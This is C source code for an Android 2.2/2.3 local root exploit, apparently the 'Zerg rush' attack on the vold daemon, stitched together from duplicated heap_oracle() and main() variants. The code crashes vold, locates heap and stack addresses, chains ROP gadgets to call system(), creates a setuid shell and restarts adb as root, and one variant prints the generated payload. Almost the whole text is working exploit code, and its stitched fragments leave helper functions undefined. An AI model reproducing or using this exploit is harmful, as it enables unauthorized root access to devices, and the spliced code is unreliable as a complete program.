static void heap_oracle() { char ok = 1; if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000)) heap_addr = r9 + 0x70; else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000)) heap_addr = r10 + 0x70; else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000)) heap_addr = fp + 0x70; else ok = 0; while(bad_byte(heap_addr&0xff)) heap_addr += 0x20; if(ok) printf("[+] Overseer found a path ! 0x%08x\n", heap_addr); else { printf("[-] No path found, let's hope ...\n"); heap_addr = heap_base_addr + heap_offset; } }
static void heap_oracle() { // Depending on device model and OS Version, heap address could be found in R9, R10 or FP char ok = 1; if (r9 > heap_base_addr && r9 < (heap_base_addr+0x10000)) heap_addr = r9 + 0x70; else if (r10 > heap_base_addr && r10 < (heap_base_addr+0x10000)) heap_addr = r10 + 0x70; else if (fp > heap_base_addr && fp < (heap_base_addr+0x10000)) heap_addr = fp + 0x70; else ok = 0; while(bad_byte(heap_addr&0xff)) heap_addr += 0x20; if(ok) printf("[+] Heap address retrieved correctly ! 0x%08x\n", heap_addr); else { printf("[-] No usefull address found, using default offset ...\n"); heap_addr = heap_base_addr + heap_offset; } }
int main(int argc, char **argv, char **env) { uint32_t i = 0, ok = 0; char *ash[] = {sh, 0}; struct stat st; char version_release[1024]; int tries=0; if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) do_root(); printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) die("[-] Cannot copy boomsh."); chmod(bsh, 0711); stat(vold, &st); heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; __system_property_get("ro.build.version.release", version_release); if (strstr(version_release, "2.2")) { heap_offset = 0x108; printf("[+] Found a Froyo ! 0x%08x\n", heap_offset); } else if (strstr(version_release, "2.3")) { heap_offset = 0x118; printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset); } else { printf("[-] Not a 2.2/2.3 Android ...\n"); exit(-1); } heap_addr = 0xffffff; __system_property_get("ro.build.fingerprint", version_release); if(!strncmp(version_release, "samsung", 7)) { printf("[+] Found a Samsung, running Samsung mode\n"); samsung = 1; } system_ptr = (uint32_t) find_symbol("system"); libc_base = system_ptr & 0xfff00000; if (check_addr(system_ptr) == -1) { printf("[-] High templars, we're doomed!\n"); exit(-1); } tries = 0; printf("[*] Scooting ...\n"); while(buffsz=allbuffsz[tries]) { if(checkcrash()) { printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); break; } tries++; } if(!buffsz) { printf("[-] Hellions with BLUE flames !\n"); exit(-1); } for (tries = 0; tries < 2; tries++) { heap_oracle(); find_stack_addr(); if (stack_addr != 0x41414141 && jumpsz) { printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); break; } } if (stack_addr == 0x41414141 || !jumpsz) { printf("[-] Zerglings did not leave interesting stuff\n"); exit(-1); } if (check_addr(stack_addr) == -1) { if(bad_byte(stack_addr & 0xff)) { stack_addr += 4; adjust = 4; if (check_addr(stack_addr) == -1) { printf("[-] Siege tanks, we're doomed!\n"); exit(-1); } } else { printf("[-] Siege tanks, we're doomed!\n"); exit(-1); } } if (jumpsz > 108 + 12) { printf("[-] This terran has walled!\n"); exit(-1); } if(check_libc_base()) { system_ptr = libc_base + (system_ptr & 0x000fffff); printf("[*] Creating more creep 0x%08x ...\n", system_ptr); if (check_addr(system_ptr) == -1) { printf("[-] High templars, we're doomed!\n"); exit(-1); } } kill(logcat_pid, SIGKILL); unlink(crashlog); printf("[*] Researching Metabolic Boost ...\n"); find_rop_gadgets(); printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); do_fault(); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { char qemuprop[1]; printf("\n[+] Rush did it ! It's a GG, man !\n"); property_get("ro.kernel.qemu",qemuprop,"0"); if (qemuprop[0]=='1') { printf("[+] Killing ADB and restarting as root... enjoy!\n"); fflush(stdout); sleep(1); kill(-1, SIGTERM); } else { printf("[-] Failed to set property to restart adb. Not killing.\n"); } } else { printf("\n[-] Bad luck, our rush did not succeed :(\n"); fflush(stdout); sleep(1); kill(-1, SIGTERM); } return 0; }
int main(int argc, char **argv, char **env) { uint32_t i = 0, ok = 0; struct stat st; char version_release[1024]; int tries=0; int payload_size=0; stat(vold, &st); heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; __system_property_get("ro.build.version.release", version_release); if (strstr(version_release, "2.2")) { heap_offset = 0x108; printf("[+] Found a Froyo ! 0x%08x\n", heap_offset); } else if (strstr(version_release, "2.3")) { heap_offset = 0x118; printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset); } else { printf("[-] Not a 2.2/2.3 Android ...\n"); exit(-1); } heap_addr = 0xffffff; __system_property_get("ro.build.fingerprint", version_release); if(!strncmp(version_release, "samsung", 7)) { printf("[+] Found a Samsung, running Samsung mode\n"); samsung = 1; } system_ptr = (uint32_t) find_symbol("system"); libc_base = system_ptr & 0xfff00000; if (check_addr(system_ptr) == -1) { printf("[-] system_ptr contains forbidden bytes!\n"); exit(-1); } tries = 0; printf("[*] Step 1: causing the first vold crash...\n"); while(buffsz=allbuffsz[tries]) { if(checkcrash()) { printf("[+] Vold crashed using %d arguments!\n", buffsz); break; } tries++; } if(!buffsz) { printf("[-] Unable to crash vold process. Fixed vold???\n"); exit(-1); } for (tries = 0; tries < 2; tries++) { heap_oracle(); printf("\n[*] Step 2: causing the second vold crash\n"); find_stack_addr(); if (stack_addr != 0x41414141 && jumpsz) { printf("[+] stack_addr found: 0x%08x, padding: 0x%04x\n", stack_addr, jumpsz); break; } } if (stack_addr == 0x41414141 || !jumpsz) { printf("[-] Unable to generate stack_addr!\n\n"); exit(-1); } if (check_addr(stack_addr) == -1) { if(bad_byte(stack_addr & 0xff)) { stack_addr += 4; adjust = 4; if (check_addr(stack_addr) == -1) { printf("[-] stack_addr contains forbidden bytes!\n"); exit(-1); } } else { printf("[-] stack_addr contains forbidden bytes!\n"); exit(-1); } } if (jumpsz > 108 + 12) { printf("[-] Too much padding is needed!\n"); exit(-1); } if(check_libc_base()) { system_ptr = libc_base + (system_ptr & 0x000fffff); printf("[*] Pointer to system function found at 0x%08x ...\n", system_ptr); if (check_addr(system_ptr) == -1) { printf("[-] Pointer to system function contains forbidden bytes!\n"); exit(-1); } } kill(logcat_pid, SIGKILL); unlink(crashlog); printf("\n[*] Researching ROP gadgets ...\n"); find_rop_gadgets(); printf("[+] first gadget found at 0x%08x, second gadget found at 0x%08x\n", stack_pivot, pop_r0); payload_size = update_payload(); printf("\n[*] Payload generated: %d bytes\n", payload_size); print_payload(payload_size); return 0; }